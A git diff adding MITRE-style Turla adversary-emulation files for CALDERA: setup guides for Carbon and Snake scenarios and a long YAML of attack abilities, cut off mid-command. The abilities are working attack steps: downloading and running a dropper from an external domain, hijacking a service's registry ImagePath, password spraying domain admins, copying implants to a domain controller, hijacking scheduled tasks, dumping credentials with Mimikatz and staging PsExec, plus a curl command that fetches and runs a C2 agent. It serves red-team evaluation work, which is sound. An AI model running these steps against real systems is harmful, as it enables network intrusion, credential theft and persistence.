password of the first target host. +- `first.target.host`: The hostname of the first target host. +- `second.target.ip`: The IP address of the second target host. +- `second.target.user`: The username of the second target host. +- `second.target.password`: The password of the second target host. +- `second.target.host`: The hostname of the second target host. +- `third.target.ip`: The IP address of the third target host. +- `third.target.user`: The username of the third target host. +- `third.target.password`: The password of the third target host. +- `third.target.host`: The hostname of the third target host. +- `third.target.ntlm`: The NTLM hash for the third target user. +- `apache.server.ip`: The IP address of the Apache server. +- `attacker.host.ip`: The IP address of the attacker's host. + + +# RUNNING THE OPERATION + +- After adjusting the fact source as needed, select operations from the left menu, under "Campaigns". +- Select "+ Create Operation" to the right of the drop-down menu. +- Add in an appropriate name for your operation. +- For the adversary profile, select `Turla - Carbon (Turla)`. +- For the Fact Source, select `Turla - Carbon (Emu)`. +- Select Advanced to expand the Advanced configurations. +- For Group, make sure All Groups is selected. +- For the Planner, select the atomic planner. +- Make sure the plain-text obfuscator is selected. +- For Autonomous, make sure "Run Autonomously" is selected. +- For the Parser, select "Do not use default parsers". +- For Auto-close, you can decide whether or not you want the operation to auto-terminate or stay open until someone terminates the operation. +- For Run state, make sure "Run immediately" is selected. +- Adjust Jitter as needed if you want the operation steps to occur with greater or lesser frequency. +- Keep visibility at 51. +- When ready, hit the Start button and wait for your operation to complete. + +# TERMINATING THE OPERATION + +Press the stop button in the operation GUI to finish the operation. Terminate the Kali agent from the GUI or RDP/SSH into the machine to stop the agent processes. + +## Cleanup +To remove artifacts following operation, follow the [Cleanup](./../../Resources/cleanup/README.md#carbon-scenario) instructions for the Carbon Scenario. + +# DEVIATIONS FROM THE ORIGINAL EMULATION PLAN + +## Step 1 + - Rather than navigating to `https://brieftragerin.skt.local/owa`, logging in, and clicking the link in the email from `noreply@sktlocal.it`, the port will download `NTFVersion.exe` by navigating directly to `http://anto-int.com/NTFVersion.exe` in the Edge browser. + +## Step 8 +- The password `Password2!` is hardcoded into the ability to ssh into the Apache server. If your password is not `Password2!`, you will need to edit the `xdotool` commands in the ability named "Adalwolfa types keylogged data (User)" to include your specific password. + +- The port does not include `Adalwolfa` opening the Edge browser and navigating to `http://kagarov/index.html`. It also does not include `Adalwolfa` editing the `/var/www/html/index.html` file. + diff --git a/turla/Emulation_Plan/yaml/README.md b/turla/Emulation_Plan/yaml/README.md new file mode 100644 index 00000000..e7c7a69d --- /dev/null +++ b/turla/Emulation_Plan/yaml/README.md @@ -0,0 +1,104 @@ +# OVERVIEW + +The Turla port contains two adversary profiles for each of the executed scenarios in MITRE Engenuity's ATT&CK® Evaluations: Enterprise - Round 5. **Follow the setup instructions below** and then navigate to the scenario-specific setup guides for the profile you would like to execute: + +- [Carbon Scenario](Carbon_Scenario.md) +- [Snake Scenario](Snake_Scenario.md) + +Information about each scenario can be found [here](../../Emulation_Plan/README.md). + +# DEPENDENCIES + +## CALDERA C2 Server +- Linux/Mac OS, 64-bit +- git commandline installed +- python3.8+ with pip3 +- golang 1.17+ + - required for dynamic agent compilation +- Recommended hardware is 8GB+ RAM and 2+ CPUs + +## Attacker Machine Dependencies +- Linux OS, 64-bit + - Kali recommended + - Can be the same machine as the CALDERA C2 server +- Command-line tools + - xfreerdp + - xdotools + - curl + - urllib3 + - ncat (by Nmap) + +# SETUP + +## Download and Install CALDERA +Run the following on a Linux/Mac machine of your choice. This machine will act as your C2 server, or the "attacker" host. For the purposes of this walkthrough, the C2 server will have an IP address of `176.59.15.33`. +``` +git clone --depth 1 https://github.com/mitre/caldera.git --recursive +cd caldera +git checkout master && git pull +cp conf/default.yml conf/local.yml +cd plugins/emu +git checkout master && git pull +``` + +Add the `emu` plugin to your `conf/local.yml` configuration file. Feel free to enable or disable other plugins +by adding/removing them from the configuration file. You can also configure your user accounts and credentials if needed. +``` +vi conf/local.yml +``` + +Download pip dependencies. +``` +pip3 install --upgrade setuptools +pip3 install --upgrade pip +pip3 install -r requirements.txt +``` + +Download required payloads for `emu` plugin. +``` +# from caldera/plugins/emu directory + +git checkout master && git pull +./download_payloads.sh +``` + +Run your C2 server from the caldera directory. This will unzip encrypted executables throughout the `adversary-emulation-library` and ingest its emulation plans. +``` +# from caldera directory + +python3 server.py --insecure --log DEBUG +``` + + +## Compile Snake & Mimikatz Binaries + +### Snake + +:exclamation: Snake has not been included in this binaries.zip. Please visit the following +resources for building Snake and its components: +- [Snake Installer Build](../Snake/SnakeInstaller/README.md#build) +- [Snake Build Script](../Snake/buildall.ps1) + +### Mimikatz + +:exclamation: Mimikatz must be modified and compiled according to these [instructions](https://github.com/attackevals/turla/tree/public-release/Resources/Mimikatz#adjustments-made-to-mimikatz-pth-function). + +## Launch the Kali Agent + +RDP to `176.59.15.33`, the Kali attacker host, as user `dev` with password `DevPass12345`. Launch the Kali agent by running the following command. You may need to modify the command so the server value matches your attacker host's IP address. + +:exclamation: Keep this RDP open as this will be leveraged by xfreerdp in the executed Caldera operation. Once the operation has been started, avoid interacting with the RDP to Kali. Clicking or switching windows within the Kali RDP will interfere with the user activity that is automated through Caldera. + +``` +cd /home/dev/caldera/plugins/emu/data/adversary-emulation-plans/turla/Resources/control_server; +server="http://176.59.15.33:8888"; +curl -s -X POST -H "file:sandcat.go" -H "platform:linux" $server/file/download > splunkd; +chmod +x splunkd; +./splunkd -server $server -group kali -v +``` + +Log into CALDERA's web GUI by accessing your C2 server address in a web browser (Chrome recommended), and using your credentials (default username is `red`, default password is `admin`). + +On the left sidebar, under "Campaigns", click "agents" and confirm that you see the Kali agent beaconing in. + +For best results, make sure you don't have other agents currently beaconing in. diff --git a/turla/Emulation_Plan/yaml/Snake_Scenario.md b/turla/Emulation_Plan/yaml/Snake_Scenario.md new file mode 100644 index 00000000..370aa0e8 --- /dev/null +++ b/turla/Emulation_Plan/yaml/Snake_Scenario.md @@ -0,0 +1,73 @@ +The guide contains continued setup information for the Caldera port of the Turla Snake scenario. If you have not yet set up Caldera, please refer to the [initial setup instructions](README.md) first. + +# PREPARING THE TARGETS + +1. Start by logging into the second target host (file server) as the domain admin user. Then, disconnect the RDP (do not log off). This is required for Step 16 credential dumping to succeed. +1. Log every other target user into their intended workstation and open Edge at least once to ignore any first time prompts. Log out of sessions. +1. Copy `Microsoft.Exchange.WebServices.dll` from an existing Exchange server to `turla/Resources/caldera_port`. + +# STARTING THE CONTROL SERVER + +On the attacker machine, open a new terminal window and run the following to start the C2 server: +``` +cd caldera/plugins/emu/data/adversary-emulation-plans/turla/Resources/control_server +rm logs.txt +sudo ./controlServer -c ./config/turla_day2.yml +``` +Ensure the EPIC, Snake, and LightNeuron handlers start up before continuing to the next step. + +# FACT SETUP + +Before running the operation, you will need to make sure that the Turla fact source is properly configured for your environment. While default fact values are provided, they will need to be replaced by the appropriate values specific to your testing environment. On the left menu, under `Configuration`, select `fact sources`. Under the "Select a source" drop-down menu, select `Turla - Snake (Emu)`, which is the fact source for the Turla adversary. From there, update the following facts as needed: + +- `network.domain.name`: The network domain name for initial target system. +- `first.target.ip`: The IP address of the first target host. +- `first.target.user`: The username of the first target host. +- `first.target.password`: The password of the first target host. +- `second.target.ip`: The IP address of the second target host. +- `second.target.user`: The username of the second target host. +- `second.target.password`: The password of the second target host. +- `second.target.host`: The hostname of the second target host. +- `third.target.ip`: The IP address of the third target host. +- `third.target.user`: The username of the third target host. +- `third.target.password`: The password of the third target host. +- `third.target.host`: The hostname of the third target host. +- `fourth.target.host`: The hostname of the fourth target host. +- `file.server.admin`: The username of the file server admin. +- `domain.admin.ntlm`: The NTLM of a domain admin. +- `domain.admin.user`: The username of a domain admin. +- `new.domain.user`: The username of the new domain user. +- `new.domain.password`: The password of the new domain user. + +# RUNNING THE OPERATION + +- After adjusting the fact source as needed, select operations from the left menu, under "Campaigns". +- Select "+ Create Operation" to the right of the drop-down menu. +- Add in an appropriate name for your operation. +- For the adversary profile, select `Turla - Snake (Turla)`. +- For the Fact Source, select `Turla - Snake (Emu)`. +- Select Advanced to expand the Advanced configurations. +- For Group, make sure All Groups is selected. +- For the Planner, select the atomic planner. +- Make sure the plain-text obfuscator is selected. +- For Autonomous, make sure "Run Autonomously" is selected. +- For the Parser, select "Do not use default parsers". +- For Auto-close, you can decide whether or not you want the operation to auto-terminate or stay open until someone terminates the operation. +- For Run state, make sure "Run immediately" is selected. +- Adjust Jitter as needed if you want the operation steps to occur with greater or lesser frequency. +- Keep visibility at 51. +- When ready, hit the Start button and wait for your operation to complete. + +# TERMINATING THE OPERATION + +Press the stop button in the operation GUI to finish the operation. Terminate the Kali agent from the GUI or RDP/SSH into the machine to stop the agent processes. + +## Cleanup +To remove artifacts following operation, follow the [Cleanup](./../../Resources/cleanup/README.md#snake-scenario) instructions for the Snake Scenario. + +# DEVIATIONS FROM THE ORIGINAL EMULATION PLAN + +## Step 11 + - User executes NTFVersion.exe via Run prompt instead of double clicking from Downloads folder. + + diff --git a/turla/Emulation_Plan/yaml/turla_carbon.yaml b/turla/Emulation_Plan/yaml/turla_carbon.yaml new file mode 100644 index 00000000..a3bbacb6 --- /dev/null +++ b/turla/Emulation_Plan/yaml/turla_carbon.yaml @@ -0,0 +1,1004 @@ +# turla_carbon.yaml - CALDERA Style TTPs + +- emulation_plan_details: + id: eddf38a4-e483-48ec-8874-4983c7a3652b + adversary_name: Turla - Carbon + adversary_description: Turla is a Russian-based threat group known for watering hole and spear phishing campaigns and leveraging in-house tools and malware. + attack_version: 13 + format_version: 1.0 + + +# Step 1 - Initial Compromise + +- id: 9a49d734-c69a-4a6b-b726-5a2a86edf418 + name: RDP to 1st host (User) + description: | + Use xfreerdp to RDP into the first host. Then, wait for the login to complete. + tactic: x + technique: + attack_id: x + name: x + procedure_group: x + procedure_step: x + platforms: + linux: + proc: + command: | + exec-background xfreerdp /u:"#{network.domain.name}\\#{first.target.user}" /p:"#{first.target.password}" /v:#{first.target.ip} /cert-ignore + input_arguments: + first.target.ip: + description: The IP address of the first target host. + type: string + default: 10.20.20.102 + first.target.user: + description: The username of the first target host. + type: string + default: gunter + first.target.password: + description: The password of the first target host. + type: string + default: Password1! + network.domain.name: + description: The network domain name for initial target system. + type: string + default: skt + +- id: 2c7ad0e1-d112-4c71-8deb-38bc3ce5654b + name: Download EPIC dropper (User) + description: | + Using xdotool, send keystrokes to download the EPIC dropper. + tactic: Initial Access + technique: + attack_id: T1566.002 + name: "Phishing: Spearphishing Link" + procedure_group: procedure_initial_access + procedure_step: 1.A.1 + platforms: + linux: + sh: + command: | + rdp_pid=$(pgrep -f xfreerdp); + rdp_window=$(xdotool search --pid "$rdp_pid"); + xdotool mousemove --window "$rdp_window" 100 100 click 1; + xdotool key --window "$rdp_window" Ctrl+Escape; + sleep 6; + xdotool type --window "$rdp_window" "run"; + sleep 6; + xdotool key --window "$rdp_window" Return; + sleep 6; + xdotool type --window "$rdp_window" "microsoft-edge"; + xdotool key --window "$rdp_window" shift+colon; + xdotool type --window "$rdp_window" "http"; + xdotool key --window "$rdp_window" shift+colon; + xdotool type --window "$rdp_window" "//anto-int.com/"; + xdotool key --window "$rdp_window" shift+N; + xdotool key --window "$rdp_window" shift+T; + xdotool key --window "$rdp_window" shift+F; + xdotool key --window "$rdp_window" shift+V; + xdotool type --window "$rdp_window" "ersion.exe"; + xdotool key --window "$rdp_window" Return; + sleep 20; + xdotool key --window "$rdp_window" Tab; sleep 1; + xdotool key --window "$rdp_window" Tab; sleep 1; + xdotool key --window "$rdp_window" Tab; sleep 1; + + xdotool key --window "$rdp_window" Tab; sleep 1; + xdotool key --window "$rdp_window" Tab; sleep 1; + xdotool key --window "$rdp_window" Tab; sleep 1; + + xdotool key --window "$rdp_window" Tab; sleep 1; + xdotool key --window "$rdp_window" Tab; sleep 1; + xdotool key --window "$rdp_window" Tab; sleep 1; + + xdotool key --window "$rdp_window" Tab; sleep 1; + xdotool key --window "$rdp_window" Tab; sleep 1; + xdotool key --window "$rdp_window" Tab; sleep 1; + + xdotool key --window "$rdp_window" Tab; sleep 1; + xdotool key --window "$rdp_window" Tab; sleep 1; + xdotool key --window "$rdp_window" Tab; sleep 1; + xdotool key --window "$rdp_window" Tab; sleep 1; + xdotool key --window "$rdp_window" Return; + timeout: 120 + +- id: bb4dd7c0-c5df-4321-94ca-cb7da59b9c32 + name: Run EPIC dropper (User) + description: | + Using xdotool, run the EPIC droppper. + tactic: Execution + technique: + attack_id: T1204.002 + name: "User Execution: Malicious File" + procedure_group: procedure_execution + procedure_step: 1.A.2 + platforms: + linux: + sh: + command: | + rdp_pid=$(pgrep -f xfreerdp); + rdp_window=$(xdotool search --pid "$rdp_pid"); + xdotool mousemove --window "$rdp_window" 100 100 click 1; + xdotool key --window "$rdp_window" Ctrl+Escape; + sleep 6; + xdotool type --window "$rdp_window" "run"; + sleep 6; + xdotool key --window "$rdp_window" Return; + sleep 6; + xdotool type --window "$rdp_window" 'C'; + xdotool key --window "$rdp_window" shift+colon; + xdotool type --window "$rdp_window" '\Users\#{first.target.user}\Downloads\'; + xdotool key --window "$rdp_window" shift+N; + xdotool key --window "$rdp_window" shift+T; + xdotool key --window "$rdp_window" shift+F; + xdotool key --window "$rdp_window" shift+V; + xdotool type --window "$rdp_window" "ersion"; + sleep 6; + xdotool key --window "$rdp_window" Return; + sleep 6; + xdotool key --window "$rdp_window" R; + sleep 30; + timeout: 180 + + +# Step 2 - Establish Initial Access + +- id: c4e2f189-ef8d-4073-abfb-1d3449af464b + name: Log out of the 1st target host (User) + description: | + Use xdotool to send keystrokes to log out of the 1st target host. + tactic: x + technique: + attack_id: x + name: x + procedure_group: x + procedure_step: x + platforms: + linux: + sh: + command: | + rdp_pid=$(pgrep -f xfreerdp); + rdp_window=$(xdotool search --pid "$rdp_pid"); + echo $rdp_window; + sleep 5; + xdotool mousemove --window "$rdp_window" 100 100 click 1; + xdotool key --window "$rdp_window" Ctrl+Alt+Delete; + sleep 6; + xdotool key --window "$rdp_window" Down; + sleep 6; + xdotool key --window "$rdp_window" Return; + sleep 30; + +- id: 771a00b3-2b39-436d-b003-b58cacffa774 + name: Log back in to the 1st target host (User) + description: | + Use xfreerdp to log back in to the 1st target host. Wait for login to complete. + tactic: x + technique: + attack_id: x + name: x + procedure_group: x + procedure_step: x + platforms: + linux: + proc: + command: | + exec-background xfreerdp /u:"#{network.domain.name}\\#{first.target.user}" /p:"#{first.target.password}" /v:#{first.target.ip} /cert-ignore + +- id: 3e20bbc1-b60a-4129-88b5-627b7b4ac17d + name: Open Edge to trigger 1st EPIC beacon (User) + description: | + Use xdotool to open Microsoft Edge and open a blank page. Then, wait to receive the new implant beacon. + tactic: x + technique: + attack_id: x + name: x + procedure_group: x + procedure_step: x + platforms: + linux: + sh: + command: | + rdp_pid=$(pgrep -f xfreerdp); + rdp_window=$(xdotool search --pid "$rdp_pid"); + echo $rdp_window; + sleep 5; + xdotool mousemove --window "$rdp_window" 100 100 click 1; + xdotool key --window "$rdp_window" Ctrl+Escape; + sleep 6; + xdotool type --window "$rdp_window" "run"; + sleep 6; + xdotool key --window "$rdp_window" Return; + sleep 6; + xdotool type --window "$rdp_window" "microsoft-edge"; + xdotool key --window "$rdp_window" shift+colon; + xdotool key --window "$rdp_window" Return; + sleep 180; + timeout: 220 + + +# Step 3 - Discovery and Privilege Escalation + +- id: eb66d327-3f82-4433-8897-76cd8a46865b + name: Execute net group discovery commands and execute `tasklist /svc` (Adversary) + description: | + Execute net group discovery commands and execute `tasklist /svc` + tactic: Discovery + technique: + attack_id: T1069.002 + name: "Permission Groups Discovery: Domain Groups" + procedure_group: procedure_discovery + procedure_step: 3.A.1-2 + platforms: + linux: + sh: + command: | + ./evalsC2client.py --set-and-complete-task 218780a0-870e-480e-b2c5dc 'exe | net group "Domain Admins" /domain && net group "Domain Computers" /domain && net group "Domain Controllers" /domain && tasklist /svc' --task-wait-timeout 60 + +- id: 88bb16c5-f78b-45c3-91b6-a7422cd2fb13 + name: Reg query the ViperVPNSvc Service & verify which users can access it (Adversary) + description: | + Reg query the ViperVPNSvc Service & verify which users can access it + tactic: Execution + technique: + attack_id: T1059.001 + name: "Command and Scripting Interpreter: Powershell" + procedure_group: procedure_execution + procedure_step: 3.A.5-6 + platforms: + linux: + sh: + command: | + ./evalsC2client.py --set-and-complete-task 218780a0-870e-480e-b2c5dc 'exe | reg query HKLM\SYSTEM\CurrentControlSet\Services\ViperVPNSvc && powershell "$(Get-Acl -Path HKLM:\SYSTEM\CurrentControlSet\Services\ViperVPNSvc).Access"' --task-wait-timeout 60 + +- id: d5e29782-72ca-45f0-b286-09525ae91d75 + name: Modify the ViperVPN service registry key (Adversary) + description: | + Modify the ViperVPN service registry key + tactic: Privilege Escalation + technique: + attack_id: T1574.011 + name: "Hijack Execution Flow: Services Registry Permissions Weakness" + procedure_group: procedure_privilege_escalation + procedure_step: 3.A.7 + platforms: + linux: + sh: + command: | + ./evalsC2client.py --set-and-complete-task 218780a0-870e-480e-b2c5dc 'exe | reg add "HKLM\system\currentcontrolset\services\ViperVPNSvc" /t REG_EXPAND_SZ /v ImagePath /d "cmd.exe /c %TEMP%\mxs_installer.exe" /f' --task-wait-timeout 60 + +- id: 349d3879-c849-493a-989e-6d7f40015f54 + name: RDP to 2nd host (User) + description: | + Use xfreerdp to RDP into the second host. Then, wait for the login to complete. + tactic: x + technique: + attack_id: x + name: x + procedure_group: x + procedure_step: x + platforms: + linux: + proc: + command: | + exec-background xfreerdp /u:"#{network.domain.name}\\#{second.target.user}" /p:"#{second.target.password}" /v:#{second.target.ip} /cert-ignore + input_arguments: + second.target.ip: + description: The IP address of the second target host. + type: string + default: 10.20.10.9 + second.target.user: + description: The username of the second target host. + type: string + default: frieda + second.target.password: + description: The password of the second target host. + type: string + default: Password3! + +- id: b7190a39-c5f1-4955-8923-44807d8069e7 + name: Stop and start ViperVPNSvc Service (User) + description: | + Use xdotool to open an administrator powershell prompt on the second host. + Use the administrator powershell prompt to start the ViperVPNSvc Service on the second host. Then, wait for the implant beacon. + tactic: x + technique: + attack_id: x + name: x + procedure_group: x + procedure_step: x + platforms: + linux: + sh: + command: | + rdp_pid=$(pgrep -f #{second.target.user}); + rdp_window=$(xdotool search --pid "$rdp_pid"); + + xdotool mousemove --window "$rdp_window" 100 100 click 1; + xdotool key --window "$rdp_window" Ctrl+Escape; + sleep 1; + xdotool type --window "$rdp_window" "powershell"; + sleep 1; + xdotool key --window "$rdp_window" Shift+F10; + sleep 1; + xdotool key --window "$rdp_window" Down; + sleep 1; + xdotool key --window "$rdp_window" Return; + sleep 1; + xdotool key --window "$rdp_window" alt+Y; + sleep 2; + xdotool type --window "$rdp_window" "sc.exe \\\\#{first.target.host} stop ViperVPNSvc; sc.exe \\\\#{first.target.host} start ViperVPNSvc;"; + sleep 2; + xdotool key --window "$rdp_window" Return; + sleep 250; + timeout: 300 + input_arguments: + first.target.host: + description: The hostname of the first target host. + type: string + default: hobgoblin + + +# Step 4 - Persistence + +- id: da986326-8d71-4e85-b767-0c8ffc49a2af + name: Download the CARBON-DLL installer (Adversary) + description: | + Task the SYSTEM level EPIC implant to download the CARBON-DLL installer. + tactic: Command and Control + technique: + attack_id: T1105 + name: "Ingress Tool Transfer" + procedure_group: procedure_command_and_control + procedure_step: 4.A.1 + platforms: + linux: + sh: + command: | + ./evalsC2client.py --set-and-complete-task 51515228-8a7b-4226-e6e3f4 'name | C:\Windows\System32\WinResSvc.exe | dropper.exe' --task-wait-timeout 60 + +- id: d702d810-3414-4e38-8cbc-22fc429d2da4 + name: Execute the CARBON-DLL installer (Adversary) + description: | + Task the SYSTEM level EPIC implant to execute the CARBON-DLL installer. + tactic: Defense Evasion + technique: + attack_id: T1112 + name: "Modify Registry" + procedure_group: procedure_defense_evasion + procedure_step: 4.A.2-4.A.6 + platforms: + linux: + sh: + command: | + ./evalsC2client.py --set-and-complete-task 51515228-8a7b-4226-e6e3f4 'exe | C:\Windows\System32\WinResSvc.exe' --task-wait-timeout 60; + sleep 180; + timeout: 300 + +- id: f2462df4-2867-4d72-b3f1-ffa9a7431f87 + name: Perform whoami discovery command (Adversary) + description: | + Task the Carbon implant to execute the whoami discovery command. + tactic: Discovery + technique: + attack_id: T1033 + name: "System Owner/User Discovery" + procedure_group: procedure_discovery + procedure_step: 4.A.13 + platforms: + linux: + sh: + command: | + ./evalsC2client.py --set-and-complete-task 9b5ef515 '{"id": 0, "cmd": "whoami"}' --task-wait-timeout 60 + + +# Step 5 - Lateral Movement to Domain Controller + +- id: 02772b8f-4f3b-42c6-9705-1d05b33ad19a + name: Open Microsoft Edge on 2nd target host (User) + description: | + Use xdotool to run Microsoft Edge and open a blank page. + tactic: x + technique: + attack_id: x + name: x + procedure_group: x + procedure_step: x + platforms: + linux: + sh: + command: | + rdp_pid=$(pgrep -f #{second.target.user}); + rdp_window=$(xdotool search --pid "$rdp_pid"); + + xdotool key --window "$rdp_window" Ctrl+Escape; + sleep 6; + xdotool type --window "$rdp_window" "run"; + sleep 6; + xdotool key --window "$rdp_window" Return; + sleep 6; + xdotool type --window "$rdp_window" "microsoft-edge"; + xdotool key --window "$rdp_window" shift+colon; + xdotool key --window "$rdp_window" Return; + +- id: 99748bd2-530e-47b6-b6d7-576d4f573b6d + name: Password Spray (Adversary) + description: | + Task CARBON-DLL to download and execute the batch script to spray weak passwords against the domain admin accounts and attempt to mount the C$ drive of the DC. + tactic: Credential Access + technique: + attack_id: T1110.003 + name: "Brute Force: Password Spraying" + procedure_group: procedure_credential_access + procedure_step: 5.A.2-3 + platforms: + linux: + sh: + command: | + ./evalsC2client.py --set-and-complete-task 9b5ef515 '{"id": 1, "payload": "password_spray.bat", "payload_dest": "C:\\Windows\\Temp\\winsas64.bat", "cmd": "C:\\Windows\\Temp\\winsas64.bat"}' --task-wait-timeout 300 | grep 'SUCCESS' + timeout: 300 + +- id: 4945a1e5-75ab-4665-8441-6995105edf38 + name: Remove password spray script (Adversary) + description: | + Task CARBON-DLL to remove the password spray script + tactic: Defense Evasion + technique: + attack_id: T1070.004 + name: "Indicator Removal on Host: File Deletion" + procedure_group: procedure_defense_evasion + procedure_step: 5.A.4 + platforms: + linux: + sh: + command: | + ./evalsC2client.py --set-and-complete-task 9b5ef515 '{"id": 2, "cmd": "del /Q C:\\Windows\\Temp\\winsas64.bat"}' --task-wait-timeout 60 + +- id: 386b614d-7237-4d1a-a6dd-543f6f515bd4 + name: Download second CARBON-DLL (Adversary) + description: | + Task CARBON-DLL to download a second version of the CARBON-DLL installer and move it to the System32 folder on the DC via the mounted drive. + tactic: Lateral Movement + technique: + attack_id: T1570 + name: "Lateral Tool Transfer" + procedure_group: + procedure_step: 5.A.5-6 + platforms: + linux: + sh: + command: | + ./evalsC2client.py --set-and-complete-task 9b5ef515 '{"id": 3, "payload": "carbon_installer_2.exe", "payload_dest": "C:\\Windows\\Temp\\wmimetricsq.exe", "cmd": "move C:\\Windows\\Temp\\wmimetricsq.exe \\\\#{second.target.host}\\C$\\Windows\\System32"}' --task-wait-timeout 60 + input_arguments: + second.target.host: + description: The hostname of the second target host. + type: string + default: bannik + +- id: 954ee411-8443-41f9-9a0c-f8ac032b68e7 + name: Enumerate remote scheduled tasks (Adversary) + description: | + Task CARBON-DLL to enumerate remote scheduled tasks on the domain controller, using the discovered password for the domain admin + tactic: Execution + technique: + attack_id: T1053.005 + name: "Scheduled Task/Job: Scheduled Task" + procedure_group: procedure_execution + procedure_step: 5.A.7 + platforms: + linux: + sh: + command: | + ./evalsC2client.py --set-and-complete-task 9b5ef515 '{"id": 4, "cmd": "schtasks /query /S #{second.target.host} /U #{network.domain.name}\\#{second.target.user} /P #{second.target.password}"}' --task-wait-timeout 60 + +- id: c90bbb6c-f9bd-4811-b7b7-c923902a8bde + name: Modify remote scheduled task (Adversary) + description: | + Task CARBON-DLL to modify a remote scheduled task using the discovered password for the domain admin + tactic: Persistence + technique: + attack_id: T1053.005 + name: "Scheduled Task/Job: Scheduled Task" + procedure_group: procedure_persistence + procedure_step: 5.A.7 + platforms: + linux: + sh: + command: | + ./evalsC2client.py --set-and-complete-task 9b5ef515 '{"id": 5, "cmd": "schtasks /Change /S #{second.target.host} /U #{network.domain.name}\\#{second.target.user} /P #{second.target.password} /TN \"\\Microsoft\\Windows\\Customer Experience Improvement Program\\Consolidator\" /TR %SystemRoot%\\System32\\wmimetricsq.exe"}' --task-wait-timeout 60 + +- id: a2621060-73a5-461b-918d-88a86f83c21b + name: Execute modified scheduled task (Adversary) + description: | + Task CARBON-DLL to remotely start the modified scheduled task on the domain controller + tactic: Privilege Escalation + technique: + attack_id: T1053.005 + name: "Scheduled Task/Job: Scheduled Task" + procedure_group: procedure_privilege_escalation + procedure_step: 5.A.7 + platforms: + linux: + sh: + command: | + ./evalsC2client.py --set-and-complete-task 9b5ef515 '{"id": 6, "cmd": "schtasks /Run /S #{second.target.host} /U #{network.domain.name}\\#{second.target.user} /P #{second.target.password} /TN \"\\Microsoft\\Windows\\Customer Experience Improvement Program\\Consolidator\" /I"}' --task-wait-timeout 300; + sleep 180; + timeout: 300 + +- id: bf90a64c-5367-4de6-93b5-a718189803c3 + name: Discovery on domain controller (Adversary) + description: | + Task the new CARBON-DLL implant with discovery commands to be run on the domain controller. + tactic: Discovery + technique: + attack_id: T1069.002 + name: "Permission Groups Discovery: Domain Groups" + procedure_group: procedure_discovery + procedure_step: 5.A.9 + platforms: + linux: + sh: + command: | + output=$(./evalsC2client.py --set-and-complete-task a3e63922 '{"id": 0, "cmd": "net group /domain"}' --task-wait-timeout 60); + echo $output | grep 'Web Servers' -i && echo $output | grep 'Web Server Admins' -i; + +- id: 4e39b630-f2d7-405e-a4ef-d11cf79db1be + name: Enumerate groups (Adversary) + description: | + Task CARBON-DLL to enumerate both groups for their members + tactic: Discovery + technique: + attack_id: T1069.002 + name: "Permission Groups Discovery: Domain Groups" + procedure_group: procedure_discovery + procedure_step: 5.A.9 + platforms: + linux: + sh: + command: | + ./evalsC2client.py --set-and-complete-task a3e63922 '{"id": 1, "cmd": "net group \"Web Servers\" /domain && net group \"Web Server Admins\" /domain"}' --task-wait-timeout 60; + +- id: 4e31798e-f973-4480-aa38-3372c44c29c9 + name: Enumerate Active Directory Computers (Adversary) + description: | + Task CARBON-DLL to enumerate the Active Directory Computers + tactic: Discovery + technique: + attack_id: T1018 + name: "Remote System Discovery" + procedure_group: procedure_discovery + procedure_step: 5.A.10 + platforms: + linux: + sh: + command: | + ./evalsC2client.py --set-and-complete-task a3e63922 '{"id": 2, "cmd": "dsquery * -filter \"(&(objectclass=computer))\" -attr *"}' --task-wait-timeout 60 | grep -i '#{third.target.user} Workstation' + input_arguments: + third.target.user: + description: The username of the third target host. + type: string + default: adalwolfa + + +# Step 6 - Preparation for Lateral Movement onto Second Host + +- id: 33d4136a-d5e6-45f2-b0e1-786d3ec8bf02 + name: Mimikatz lsadump (Adversary) + description: | + Task the CARBON-DLL implant on the DC to download and execute mimikatz lsadump + tactic: Credential Access + technique: + attack_id: T1003 + name: "OS Credential Dumping" + procedure_group: procedure_credential_access + procedure_step: 6.A.1-3 + platforms: + linux: + sh: + command: | + ./evalsC2client.py --set-and-complete-task a3e63922 '{"id": 3, "payload": "DvKGMmGn.exe", "payload_dest": "C:\\Windows\\Temp\\terabox.exe", "cmd": "move C:\\Windows\\Temp\\terabox.exe C:\\Windows\\System32\\terabox.exe && C:\\Windows\\System32\\terabox.exe \"lsdu::go /ynot\" \"quit\""}' --task-wait-timeout 60 + + +# Step 7 - Lateral Movement to Second Workstation + +- id: 9b50feb8-41a2-489a-a863-75240743734c + name: RDP to 3rd host (User) + description: | + Use xfreerdp to RDP into the third host. Then, wait for the login to complete. + tactic: x + technique: + attack_id: x + name: x + procedure_group: x + procedure_step: x + platforms: + linux: + proc: + command: | + exec-background xfreerdp /u:"#{network.domain.name}\\#{third.target.user}" /p:"#{third.target.password}" /v:#{third.target.ip} /cert-ignore + input_arguments: + third.target.ip: + description: The IP address of the third target host. + type: string + default: 10.20.20.104 + third.target.password: + description: The password of the third target host. + type: string + default: Password2! + +- id: f6690cfd-073d-49c4-bd1b-1194aeb26780 + name: Open Microsoft Edge (User) + description: | + Use xdotool to run Microsoft Edge and open a blank page. + tactic: x + technique: + attack_id: x + name: x + procedure_group: x + procedure_step: x + platforms: + linux: + sh: + command: | + rdp_pid=$(pgrep -f #{third.target.user}); + rdp_window=$(xdotool search --pid "$rdp_pid"); + sleep 6; + xdotool mousemove --window "$rdp_window" 100 100 click 1; + sleep 6; + xdotool key --window "$rdp_window" Ctrl+Escape; + sleep 6; + xdotool type --window "$rdp_window" "run"; + sleep 6; + xdotool key --window "$rdp_window" Return; + sleep 6; + xdotool type --window "$rdp_window" "microsoft-edge"; + xdotool key --window "$rdp_window" shift+colon; + xdotool key --window "$rdp_window" Return; + +- id: f9ad6b77-518e-4784-9fba-5e4cd97fc455 + name: Download PsExec (Adversary) + description: | + Task the CARBON-DLL implant on the domain controller to download PsExec. + tactic: Command and Control + technique: + attack_id: T1105 + name: "Ingress tool transfer" + procedure_group: procedure_command_and_control + procedure_step: 7.A.1 + platforms: + linux: + sh: + command: | + ./evalsC2client.py --set-and-complete-task a3e63922 '{"id": 4, "payload": "PsExec.exe", "payload_dest": "C:\\Windows\\Temp\\tmp5712.tmp", "cmd": "move C:\\Windows\\Temp\\tmp5712.tmp C:\\Windows\\System32\\wsqsp.exe && dir C:\\Windows\\System32\\wsqsp.exe"}' --task-wait-timeout 60 + +- id: 75424a6a-28f5-46fa-834b-508f7d09020a + name: Download third CARBON-DLL (Adversary) + description: | + Task the CARBON-DLL implant on the domain controller to download a third copy of the CARBON-DLL installer. + tactic: Command and Control + technique: + attack_id: T1105 + name: "Ingress tool transfer" + procedure_group: procedure_command_and_control + procedure_step: 7.A.2 + platforms: + linux: + sh: + command: | + ./evalsC2client.py 